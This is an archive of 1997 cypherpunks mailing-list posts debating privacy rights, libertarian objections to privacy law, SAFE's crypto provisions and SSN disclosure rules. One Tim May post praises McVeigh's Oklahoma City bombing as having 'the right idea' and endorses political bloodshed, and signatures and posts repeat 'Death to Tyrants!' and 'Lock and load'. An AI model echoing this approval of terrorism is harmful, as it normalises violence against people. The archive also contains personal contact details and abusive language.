> to speak freely; there should be strict limits on
> government controls on free expression or the press.
> The state has unique powers of coercion. Similarly,
> there should be strict limits on government collection
> of personal data about its citizens.

This really depends how you look on the concept of government as a whole. 
I personally, as an anarchist, see this as a redundant argument however I 
think this point needs adressing. 
On government collection of data about citizens: If you favour a 
minarchist system of government and can envisage a government which 
commited no act of agression against its citizens, I do not see why you 
would be bothered about the government collecting data on citizens.

Certainly government collection of data on citizens can allow restrictive 
and totalitarian governments such as those currently seen in the US and 
nearly all of Europe to fuck citizens over at will: Information is power.
However, the whole point of cryptography is to protect information using 
mathematics, laws are not sufficient, nor indeed would they be the right 
solution. If you do support a system in which there is an entity that can 
be defined as the government, then it is your duty to keep private data 
you do not want them to know out of their hands. If information is freely 
available then you cannot expect to regulate or restrict its use by 
legislation.

> But transactional privacy is a different matter. Sure,
> we may generally agree that privacy is the famous
> "right to be left alone," 

There is no such right. No-one forces you to submit your name and address 
to a company so it can be passed on and put of junk mail lists etc... You 
personally have to bear the responsibility of keeping information out of 
the hands of those you do not want to posess it. 

> > Btw - Declan's summary of our views on privacy below are
> > just silly. Many of the greatest defenders of First Amendment
> > freedoms have also felt most strongly about the right of
> > privacy. The question is always how you protect rights.
> > Perhaps libertarians would do away with all laws that protect
> > personal freedoms. Bad call.

This is at best a flawed analysis of the situation, at worst a dangerous 
manifestation of the "there should be a law" mentality.

There is no such thing as a right to privacy, if you make information 
available you have to expect people to make use of it. As long as no-one 
forces you to make such information available you have no-one to blame 
for "misuse" of that information apart from yourself.

All true law within anarchist, and indeed much minarchist belief derives 
from the non agression principle, by making use of freely available 
information about you I do not initiate violence against you, therefore I 
am guilty of no crime.

Sure it is unpleasant to have your privacy violated, but it is your own 
choice whether you allow information to become available or not.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From lucifer at dhp.com  Sat May 31 18:18:53 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 09:18:53 +0800
Subject: A New Law Could Take Care Of The Problem
Message-ID: <199706010100.VAA03089@dhp.com>


* In a September statement, Joseph Sniezek, an official of the
Centers for Disease Control's National Center for Injury
Prevention, lamented the serious injuries suffered by rodeo bull
riders and suggested a solution might be to require helmets. 

  ...and seat belts?
  (When the law is passed to require this, don't be surprised if they
tack on requirements regarding the use of child-seats for those riders
who take the children along. And of course, if they have a copy of PGP
in their pocket when they ride without a helmet...}






From jya at pipeline.com  Sat May 31 18:51:12 1997
From: jya at pipeline.com (John Young)
Date: Sun, 1 Jun 1997 09:51:12 +0800
Subject: Summit on Cyber-Terrorism
Message-ID: <1.5.4.32.19970601012343.00968be4@pop.pipeline.com>


May 31, 1997, Asahi Evening News

Summit leaders to combat cyber-terrorism

World leaders will agree to take measures against a 
new high-tech element of terrorism--attacks on host 
computers--at the June 20-22 Denver summit, officials 
involved in the preparations said Friday. 

As part of countermeasures against cyber-terrorism, 
further joint efforts to control the spread of computer 
encryption technologies will be reaffirmed, they said. 

Concerns over terrorist attacks on computers and the 
need for heightened international efforts will be added 
to the 25 specific counterterrorism recommendations that 
Japan, the United States, Britain, Germany, Canada, 
Italy, France and Russia adopted at a ministerial meeting 
in Paris last July. 

-----

For full, brief article:

  http://jya.com/denver.htm






From nobody at REPLAY.COM  Sat May 31 19:38:17 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 1 Jun 1997 10:38:17 +0800
Subject: SSN - when can agencies ask, and passports
Message-ID: <199706010225.EAA07743@basement.replay.com>


The privacy act of 1974 (public law 93-579) says that any government
agency has to provide you with the follwing when asking for a SSN:

1. If the disclosure is mandatory or optional

2. The statutory or other authority they have to ask for it

3. How it will be used

4. Any penalties for not disclosing it.

These should be in a "privacy act notice" the agency should already have.

As far as passports, I have a pointer to an article in the Western State
Law Review, Fall '92 issue by Stephen Kruger.  The title is Passports,
Social Security Numbers, & 26 USC sec 6039E where he points out that it is
probably unconstitutional to fine someone.

A plug is warranted since the above info (and a lot more of value) is in
Financial Privacy Report, Vol4N8 (August 1994) - I think back issues are
$15, but call first (612)-895-8757.  This issue is entitled 22 ways to
protect your social security number from thieves, snoops, and bureaucrats.
FPR / POB 1277 / Burnsville MN 55337








From rotenberg at epic.org  Sat May 31 19:42:05 1997
From: rotenberg at epic.org (Marc Rotenberg)
Date: Sun, 1 Jun 1997 10:42:05 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


>At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:
>
>>What examples do you have where privacy is included in
>>a contractual arrangement?
>
>
>- a lender agrees to transfer the information provided only to specified
>parties, and not to the newspapers . . .

Good examples. Many are codified in statue, created by common law,
industry practice, or professional obligation. Virtually none are
tied to specific, negotiated contracts.

One of the biggest problems with libertarian theories is that
they are descriptively flawed as applied in the real world. In
practice, perfect markets rarely exist, laws do protect rights,
and there are a lot of efficiencies -- economic, technological,
and otherwise -- in promoting the highest level of safeguards
across similar activities, e.g. you get into a car, you expect
that the brakes will work. You don't express a negotiated
preference for how much you want your brakes to work.

I don't mind the criticism if you think we're saying or
doing something that really is bad for privacy, but
a bunch of political rhetoric isn't worth much. And if
you don't think we're not busting our butt to protect
the rights of people to use strong crypto, you have no
idea what's going on.

Marc.








From mnorton at cavern.uark.edu  Sat May 31 20:38:02 1997
From: mnorton at cavern.uark.edu (Mac Norton)
Date: Sun, 1 Jun 1997 11:38:02 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


> 
> I don't mind the criticism if you think we're saying or
> doing something that really is bad for privacy, but
> a bunch of political rhetoric isn't worth much. And if
> you don't think we're not busting our butt to protect
> the rights of people to use strong crypto, you have no
> idea what's going on.

Then I guess, to the extent you support the criminal crypto
provision--and you do--then I don't know what's going on.
I mean, man, I don't know what's going on.
MacN






From tcmay at got.net  Sat May 31 20:41:46 1997
From: tcmay at got.net (Tim May)
Date: Sun, 1 Jun 1997 11:41:46 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: 


At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote:


>One of the biggest problems with libertarian theories is that
>they are descriptively flawed as applied in the real world. In
>practice, perfect markets rarely exist, laws do protect rights,
>and there are a lot of efficiencies -- economic, technological,
>and otherwise -- in promoting the highest level of safeguards
>across similar activities, e.g. you get into a car, you expect
>that the brakes will work. You don't express a negotiated
>preference for how much you want your brakes to work.

One of the biggest problems with critics of libertarian theories is that
they falsely claim libertarians believe that each and every action during
each and every day by each and every agent involves complex contracts.

What we are talking about here is whether there's a need for new laws to,
using your specific example, stop companies from asking for personal
information.

What libertarians, and hopefully other freedom-seeking people, would argue
is that government should not be interjected into mutual negotiations if at
all possible. This applies to Alice and Bob negotiating some transaction,
and it applies to Alice and Safeway, and to Safeway and Apple.

Citing the straw man that libertarians believe every driver must negotiate
a contract about how his brakes are to work has nothing to do with this
basic point.


>I don't mind the criticism if you think we're saying or
>doing something that really is bad for privacy, but
>a bunch of political rhetoric isn't worth much. And if
>you don't think we're not busting our butt to protect
>the rights of people to use strong crypto, you have no
>idea what's going on.

"A bunch of political rhetoric." This has been a waste of everyone's time.

As for the "rights of the people to use strong crypto," there are currently
no restrictions *whatsoever* on crypto use. SAFE will, of course, add a
criminalization angle to crypto use, which is a step in the wrong
direction. Once the Legislature gets its hands on crypto use at all, the
way is made easier for later extensions and clarifications of  the rules.
Imagine the equivalent situation with free speech or religion: "No American
may be denied access to the religious beliefs of his choosing, but the
practice of non-Christian religious acts in connection with another crime
will expose the pagan to a mandatory 5-year increase in imprisonment."

This is what SAFE's "crypto in a crime" provisions are equivalent to...like
making the speaking of Spanish a factor in criminal sentencing. "Congress
shall make no law" means just that.

A better tack is to take a rejectionist, no compromise stance toward any
proposed legislation which would in any way limit or criminalize crypto
use. Rely on the First Amendment.

This would leave EPIC, VTW, CPSR, EFF, etc. with very little to do, of
course, but that is as it should be.

But, then, I quit the NRA because they were too namby pamby about the
Second Amendment. I place more faith in my assault rifles than I do in the
criminals in D.C. McVeigh may have killed too many innocents, looking back
on OKC, but he generally had the right idea about hitting the power centers
of the police state.

(Shocking sentiments to most of the sheeple, but Thomas Jefferson said as
much when he said the tree of liberty had to be watered with the blood of
tyrants and/or patriots every 20 or so years. It's been about 190 years too
long since we had a good watering.)

But this will be my last message to you, Marc, as I see no point in
continuing any dialog.

--Tim May





There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From nobody at huge.cajones.com  Sat May 31 21:09:49 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 1 Jun 1997 12:09:49 +0800
Subject: Rotenberg as the Uber Enemy
Message-ID: <199706010352.UAA26328@fat.doobie.com>


Paul Bradley wrote:
> 
> Sure it is unpleasant to have your privacy violated, but it is your own
> choice whether you allow information to become available or not.

  Theoretical bullshit. 
  Your choice is to not work, not go on welfare, not drive, not get a
telephone, not be born in a hospital...ad infinitum.
  Even then, when you are arrested for trespassing on private land or
misuse of public land for those grubs and worms you ate, the government
will take your fingerprints and attach an identity to them. When you
return to your cave, the postman will be waiting at the entrance to
deliver the "Worms R Us" snailmail spam.

>  All true law within anarchist, and indeed much minarchist belief derives 
> from the non agression principle, by making use of freely available 
> information about you I do not initiate violence against you, therefore I 
> am guilty of no crime.

  Everyone seems to neglect recognizing that most of the proclaimed
"freely available information" is the result of coercion of one kind
or another.
  "If you want a driver's license so that you can earn a decent
living, then you must give us your social security number so that
we can make sure that you get your fair share of junk mail and 
spam. If you drive without a license, men with guns will lock you
in a cage."

  Try dumping your garbage on other people's doorstep and telling
them that you haven't initiated violence against them and are thus
guilty of no crime. Sell "freely available" information about other
people's children to convicted child molesters and then explain the
same thing to the parents.
  Why don't the people who send out spam go out ringing people's
doorbells at 4 a.m. to tell them how to "Make Big $$$"?  It is
because they would be held personally accountable for the effect
their actions have on the lives of others. They can explain until
they are blue in the face about their right to be an asshole who
is intruding in my life but they are unlikely to convince me to
put up with it without acting in a manner they find offensive.

  I enjoy many of the posts on anarchy by Paul and others but I
think most of the concepts are valuable mainly as personal standards
one applies to their own life.
  You can explain to the guy who slashes your tires that you had
a right to ring his doorbell at 4 a.m. to try to sell him your
product but he had no right to slash your tires. You will be right,
but so what?
  If Tim McVeigh beats the rap and returns to society, I'm going to
buy him a computer and an email account and then give the address
to CyberPromo. I am sure he will understand the issues of anarchy
and free enterprise involved, and act in accordance with the
dictates of his own conscience.	

TruthMonger







From tcmay at got.net  Sat May 31 22:02:09 1997
From: tcmay at got.net (Tim May)
Date: Sun, 1 Jun 1997 13:02:09 +0800
Subject: You've got to be kidding....
Message-ID: 



Someone forwarded this item to me. As he didn't cc: the list on it, I'll
protect his identity. Could be he's understandably worried about who's
reading the list.

This item indicates that the same team that busted this "gang" could indict
several of us as "co-conspirators" (isn't this a redundancy?) along with
Bell.

Lock and load.

--Tim


>Date: Sat, 31 May 1997 21:23:20 -0700
>To: tcmay at got.net
>From: xxxxx
>Subject: You've got to be kidding....
>
>Tim --
>
>For your grist of stupid, selectively enforced laws:
>(from comp.risks 19.20)
>
>>Date: Fri, 30 May 1997 03:45:10 -0400
>>From: David Kennedy <76702.3557 at compuserve.com>
>>Subject: Florida "Computer Gang" Members Arrested
>>
>>Courtesy of United Press International via CompuServe's Executive News
>>Service:
>>
>>> Florida computer gang members arrested
>>
>>> LECANTO, Fla., 22 May 1997 (UPI) -- Florida authorities have arrested two
>>> alleged leaders of a so-called computer "gang" they say set up a Web site
>>> that accused a teacher of having a homosexual affair with a student.  The
>>> Web site displayed a photograph of the student's prom picture with the
>>> teacher's head superimposed onto the head of the boy's female date.
>>
>>:: Two 19 year olds were charged with "publication of material that exposes
>>a person to hatred, contempt or ridicule."  Because they worked together,
>>anti-gang laws apply upgrading the charges from misdemeanors to felonies.
>>
>>:: The victim-teacher has been the target of harassment before, another
>>former student was sentenced to 6 months' probation last December.
>>
>>Dave Kennedy [CISSP] Research Team Chief, National Computer Security Assoc.
>

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From whgiii at amaranth.com  Sat May 31 22:22:00 1997
From: whgiii at amaranth.com (William H. Geiger III)
Date: Sun, 1 Jun 1997 13:22:00 +0800
Subject: Rotenberg as the Uber Enemy
In-Reply-To: 
Message-ID: <199706010504.AAA29828@mailhub.amaranth.com>


-----BEGIN PGP SIGNED MESSAGE-----

In , on 05/31/97 
   at 10:27 PM, Marc Rotenberg  said:

>>At 6:05 PM -0700 5/31/97, Marc Rotenberg wrote:
>>
>>>What examples do you have where privacy is included in
>>>a contractual arrangement?
>>
>>
>>- a lender agrees to transfer the information provided only to specified
>>parties, and not to the newspapers . . .

>Good examples. Many are codified in statue, created by common law,
>industry practice, or professional obligation. Virtually none are tied to
>specific, negotiated contracts.

>One of the biggest problems with libertarian theories is that they are
>descriptively flawed as applied in the real world. In practice, perfect
>markets rarely exist, laws do protect rights, and there are a lot of
>efficiencies -- economic, technological, and otherwise -- in promoting
>the highest level of safeguards across similar activities, e.g. you get
>into a car, you expect that the brakes will work. You don't express a
>negotiated preference for how much you want your brakes to work.

Marc you really need to pick better examples for making your point. :)

Not only is government regulation unnecesary to insure passenger safty in
automobiles I can site what happend with Tucker as a prime example of how
government power was used to prevent the free market from bringing safty
inovations to the general public.

The biggest problem with libertarian ideals is that the never get
implemented before some statest jumps in with their own power grab
"solution" to the problem.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From lucifer at dhp.com  Sat May 31 23:16:56 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 1 Jun 1997 14:16:56 +0800
Subject: Tell the Fans, Not the Players / Was--Re: Rotenberg as the Uber Enemy
Message-ID: <199706010558.BAA18210@dhp.com>


At 7:27 PM -0700 5/31/97, Marc Rotenberg wrote:
>I don't mind the criticism if you think we're saying or
>doing something that really is bad for privacy, but
>a bunch of political rhetoric isn't worth much. And if
>you don't think we're not busting our butt to protect
>the rights of people to use strong crypto, you have no
>idea what's going on.

  I think it would be more appropriate to say that you are *selling*
your ass. Excuse me all to hell if my heart doesn't bleed purple piss
for your heroic efforts for the "rights of people" but I would prefer
for all of the time, money and effort people are putting into trying
to get the government *not* to fuck me, when they are going to do so
anyway, be put instead into developing technology to enable myself and
others to route around the damage caused by government.
  If the same amount of money that is spent on lobbying to get the
"least-bad law possible" passed was put into cypherpunk projects, then
before the President proposed crypto regulations he would have to 
decide if it was really important enough to him to put up with the
whithouse.gov site receiving 10 billion emails with "Fuck Clinton" in 
the subject header.

  Most of the "rights" lobbyists are like hostage negotiators who tell
the hostage taker, "We'll let you kill two people without charging you
if you let the rest go."
  Don't hold your breath waiting for me to join in the applause for
your support of legislation compromising my privacy and freedom. As far
as I am concerned, most organizations with the word "Freedom" in their
name are a worse scourge than the politicians. They end up becoming
self-important whores that the government uses to get a showcase stamp
of approval on bad legislation.

  In short, "Tell the fans, not the players." I am certain that you 
can find a forum which will proclaim your sainthood for "almost"
accomplishing something useful, but the cypherpunks list is not it.
  Don't let the door hit you in the ass on your way out.

TruthMonger